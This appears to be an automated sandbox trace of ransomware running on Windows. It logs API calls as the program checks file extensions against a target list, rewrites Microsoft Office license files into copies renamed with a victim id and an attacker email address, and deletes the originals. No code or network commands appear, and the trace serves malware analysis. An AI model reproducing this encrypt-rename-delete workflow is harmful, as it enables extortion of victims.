	[0198.042] lstrlenW (lpString=".pdf") returned 4
	[0198.042] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.042] lstrlenW (lpString=".xls") returned 4
	[0198.042] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.042] lstrlenW (lpString=".xlsx") returned 5
	[0198.042] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.042] lstrlenW (lpString=".ppt") returned 4
	[0198.042] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0198.042] lstrlenW (lpString=".zip") returned 4
	[0198.042] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.042] lstrlenW (lpString=".rar") returned 4
	[0198.042] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.042] lstrlenW (lpString=".bz2") returned 4
	[0198.042] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.042] lstrlenW (lpString=".7z") returned 3
	[0198.042] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0198.042] lstrlenW (lpString=".dbf") returned 4
	[0198.042] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0198.042] lstrlenW (lpString=".1cd") returned 4
	[0198.042] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0198.042] lstrlenW (lpString=".jpg") returned 4
	[0198.042] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0198.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0198.043] lstrlenW (lpString=".doc") returned 4
	[0198.043] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.043] lstrlenW (lpString=".docx") returned 5
	[0198.043] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.043] lstrlenW (lpString=".pdf") returned 4
	[0198.043] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.043] lstrlenW (lpString=".xls") returned 4
	[0198.043] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.043] lstrlenW (lpString=".xlsx") returned 5
	[0198.043] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.043] lstrlenW (lpString=".ppt") returned 4
	[0198.043] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0198.043] lstrlenW (lpString=".zip") returned 4
	[0198.043] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.043] lstrlenW (lpString=".rar") returned 4
	[0198.043] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.043] lstrlenW (lpString=".bz2") returned 4
	[0198.043] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.043] lstrlenW (lpString=".7z") returned 3
	[0198.043] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0198.043] lstrlenW (lpString=".dbf") returned 4
	[0198.043] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0198.043] lstrlenW (lpString=".1cd") returned 4
	[0198.043] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0198.043] lstrlenW (lpString=".jpg") returned 4
	[0198.044] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.044] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.044] lstrlenW (lpString="MondoR_KMS_Automation-ul.xrm-ms") returned 31
	[0198.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0198.044] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=9613) returned 1
	[0198.044] CloseHandle (hObject=0x588) returned 1
	[0198.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 0x220
	[0198.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0198.045] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.045] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0198.046] GetLastError () returned 0x0
	[0198.046] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x258d, lpOverlapped=0x0) returned 1
	[0198.323] WriteFile (in: hFile=0x5c8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0198.324] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.324] WriteFile (in: hFile=0x5c8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x112, lpOverlapped=0x0) returned 1
	[0198.325] SetEndOfFile (hFile=0x5c8) returned 1
	[0198.325] CloseHandle (hObject=0x5c8) returned 1
	[0198.325] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.325] SetEndOfFile (hFile=0x588) returned 1
	[0198.331] CloseHandle (hObject=0x588) returned 1
	[0198.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 1
	[0198.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0198.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0198.505] lstrlenW (lpString=".doc") returned 4
	[0198.505] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.505] lstrlenW (lpString=".docx") returned 5
	[0198.505] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.505] lstrlenW (lpString=".pdf") returned 4
	[0198.505] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.505] lstrlenW (lpString=".xls") returned 4
	[0198.505] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.505] lstrlenW (lpString=".xlsx") returned 5
	[0198.505] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.505] lstrlenW (lpString=".ppt") returned 4
	[0198.505] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0198.505] lstrlenW (lpString=".zip") returned 4
	[0198.505] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.505] lstrlenW (lpString=".rar") returned 4
	[0198.505] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.505] lstrlenW (lpString=".bz2") returned 4
	[0198.505] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.505] lstrlenW (lpString=".7z") returned 3
	[0198.505] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0198.505] lstrlenW (lpString=".dbf") returned 4
	[0198.505] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0198.505] lstrlenW (lpString=".1cd") returned 4
	[0198.505] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0198.505] lstrlenW (lpString=".jpg") returned 4
	[0198.505] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0198.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0198.506] lstrlenW (lpString=".doc") returned 4
	[0198.506] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.506] lstrlenW (lpString=".docx") returned 5
	[0198.506] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.506] lstrlenW (lpString=".pdf") returned 4
	[0198.506] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.506] lstrlenW (lpString=".xls") returned 4
	[0198.506] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.506] lstrlenW (lpString=".xlsx") returned 5
	[0198.506] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.506] lstrlenW (lpString=".ppt") returned 4
	[0198.506] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0198.506] lstrlenW (lpString=".zip") returned 4
	[0198.506] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.506] lstrlenW (lpString=".rar") returned 4
	[0198.506] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.506] lstrlenW (lpString=".bz2") returned 4
	[0198.506] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.506] lstrlenW (lpString=".7z") returned 3
	[0198.506] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0198.506] lstrlenW (lpString=".dbf") returned 4
	[0198.506] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0198.506] lstrlenW (lpString=".1cd") returned 4
	[0198.506] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0198.506] lstrlenW (lpString=".jpg") returned 4
	[0198.506] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.507] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.507] lstrlenW (lpString="MondoR_Subscription-ul-oob.xrm-ms") returned 33
	[0198.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0198.507] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11612) returned 1
	[0198.508] CloseHandle (hObject=0x538) returned 1
	[0198.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 0x220
	[0198.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0198.508] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.508] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.509] GetLastError () returned 0x0
	[0198.509] ReadFile (in: hFile=0x538, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d5c, lpOverlapped=0x0) returned 1
	[0198.511] WriteFile (in: hFile=0x514, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0198.512] ReadFile (in: hFile=0x538, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.512] WriteFile (in: hFile=0x514, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x116, lpOverlapped=0x0) returned 1
	[0198.512] SetEndOfFile (hFile=0x514) returned 1
	[0198.513] CloseHandle (hObject=0x514) returned 1
	[0198.513] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.513] SetEndOfFile (hFile=0x538) returned 1
	[0198.515] CloseHandle (hObject=0x538) returned 1
	[0198.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 1
	[0198.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0198.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0198.517] lstrlenW (lpString=".doc") returned 4
	[0198.517] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.517] lstrlenW (lpString=".docx") returned 5
	[0198.517] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.517] lstrlenW (lpString=".pdf") returned 4
	[0198.517] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.517] lstrlenW (lpString=".xls") returned 4
	[0198.517] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.517] lstrlenW (lpString=".xlsx") returned 5
	[0198.517] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.517] lstrlenW (lpString=".ppt") returned 4
	[0198.517] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0198.517] lstrlenW (lpString=".zip") returned 4
	[0198.517] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.517] lstrlenW (lpString=".rar") returned 4
	[0198.517] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.517] lstrlenW (lpString=".bz2") returned 4
	[0198.517] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.517] lstrlenW (lpString=".7z") returned 3
	[0198.517] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0198.517] lstrlenW (lpString=".dbf") returned 4
	[0198.517] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0198.517] lstrlenW (lpString=".1cd") returned 4
	[0198.517] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0198.517] lstrlenW (lpString=".jpg") returned 4
	[0198.518] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0198.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0198.518] lstrlenW (lpString=".doc") returned 4
	[0198.518] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.518] lstrlenW (lpString=".docx") returned 5
	[0198.518] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.518] lstrlenW (lpString=".pdf") returned 4
	[0198.518] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.518] lstrlenW (lpString=".xls") returned 4
	[0198.518] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.518] lstrlenW (lpString=".xlsx") returned 5
	[0198.518] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.518] lstrlenW (lpString=".ppt") returned 4
	[0198.518] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0198.518] lstrlenW (lpString=".zip") returned 4
	[0198.518] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.518] lstrlenW (lpString=".rar") returned 4
	[0198.518] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.518] lstrlenW (lpString=".bz2") returned 4
	[0198.518] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.518] lstrlenW (lpString=".7z") returned 3
	[0198.518] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0198.518] lstrlenW (lpString=".dbf") returned 4
	[0198.518] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0198.518] lstrlenW (lpString=".1cd") returned 4
	[0198.519] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0198.519] lstrlenW (lpString=".jpg") returned 4
	[0198.519] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.519] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.519] lstrlenW (lpString="MondoR_Subscription2-pl.xrm-ms") returned 30
	[0198.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0198.520] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11171) returned 1
	[0198.520] CloseHandle (hObject=0x538) returned 1
	[0198.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 0x220
	[0198.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0198.520] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.520] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.521] GetLastError () returned 0x0
	[0198.521] ReadFile (in: hFile=0x538, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2ba3, lpOverlapped=0x0) returned 1
	[0198.523] WriteFile (in: hFile=0x514, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0198.524] ReadFile (in: hFile=0x538, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.524] WriteFile (in: hFile=0x514, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x110, lpOverlapped=0x0) returned 1
	[0198.525] SetEndOfFile (hFile=0x514) returned 1
	[0198.525] CloseHandle (hObject=0x514) returned 1
	[0198.525] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.525] SetEndOfFile (hFile=0x538) returned 1
	[0198.527] CloseHandle (hObject=0x538) returned 1
	[0198.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
